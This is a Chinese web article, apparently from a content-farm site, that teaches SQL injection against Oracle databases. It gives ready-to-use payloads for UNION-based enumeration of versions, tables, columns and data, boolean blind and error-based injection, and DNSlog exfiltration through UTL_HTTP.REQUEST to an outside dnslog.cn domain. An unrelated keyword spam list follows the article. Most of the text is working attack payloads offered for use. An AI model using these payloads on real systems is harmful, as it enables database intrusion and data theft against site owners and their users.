千家信息网

Oracle数据库如何利用

发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章将为大家详细讲解有关Oracle数据库如何利用,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。一、联合注入1.1、判断是否存在注入点方法和其他数据库类似,an
千家信息网最后更新 2025年12月02日Oracle数据库如何利用

这篇文章将为大家详细讲解有关Oracle数据库如何利用,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

一、联合注入

1.1、判断是否存在注入点

方法和其他数据库类似,and 1=1 和and 1=2

1.2、判断数据库为oracle

注释符号--,该符号是Oracle和MsSQL支持的注释符,返回正常就需要继续判断。可以继续提交多语句支持符号;如果支持多行查询,说明是MSSQL,因为Oracle不支持多行查询,可以继续提交查询语

and (select count(*) from user_tables)>0--

利用的原理是dual表和user_tables表是oracle中的系统表,返回正常就判断为Oracle

1.3、获取基本信息

1.3.1、获取字段数,同样可以使用oder by N 根据返回页面判断

1.3.2、判断列数

union select '1','a','3','4','5' from dual -- //返回正常,则第一个字段是数字型,返回错误,为字符型,这里5个字段都为字符型

1.3.3、获取数据库版本

union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --

查询,当前表所属用户,相当于当前库,如下

1.3.4、查询第一个表名

union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --

union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual -- //第二个表名

查看第一个字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --

查看第二个字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --

查看第三个字段名,在后面再加一个and column_name<>'名称'

select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个字段]' and column_name<>'[第二个字段名]'

读取数据

union select '1',age,NAME,'4','5' from CUSTOMERS --

二、DNSlog

首先去http://www.dnslog.cn/网站申请一个域名

UTL_HTTP.REQUEST型

and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --

第一个字段名

union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn

'),'4','5' from dual --

UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入

三、布尔盲注

3.1、获取当前数据库表的个数

and (select count(table_name) from user_tables)>1--

3.2、获取第一个表的表名长度

and (select length(table_name) from user_tables where rownum=1)>8--

获取第一个表的第一个字符的Ascii码的值

and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--

四、报错注入--报错函数dbms_xdb_version.checkin()函数

4.1、获取数据库版本信息

and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--

4.2、当前数据库名称

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

关于"Oracle数据库如何利用"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

数据 字段 数据库 查询 支持 字符 符号 篇文章 字符型 信息 函数 名称 更多 注释 版本 多行 不错 实用 三个 个数 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 实际项目软件开发文档 重庆系统软件开发服务 电脑服务器状态变更报警 怎么更新日历 显示服务器未响应 南阳嵌入式软件开发招聘 七日杀服务器时间不走 赌博软件开发需要多少钱 计算机网络技术可以干什么 服务器硬盘空间大 网络技术实习月报 清远物联网软件开发联系方式 我的世界服务器发包过多 hp服务器怎么样 agile敏捷软件开发平台 软件开发完成后怎么上线呢 小度播放网络安全的手抄报 数据库在软件工程哪个阶段 宁波帝宏软件开发 中英文对应的数据库 织梦后台把数据保存到数据库 北京冬奥会网络安全保障会议 腾冲碎石科技互联网公司 网络技术的最新发展2021 互联网公司新晨科技 服务器在计算机网络中的概念 网络安全是什么时候出的专业 网络安全类股票有哪些内容 erp系统服务器和数据库 人社网络安全周 电脑还原会损坏数据库吗
0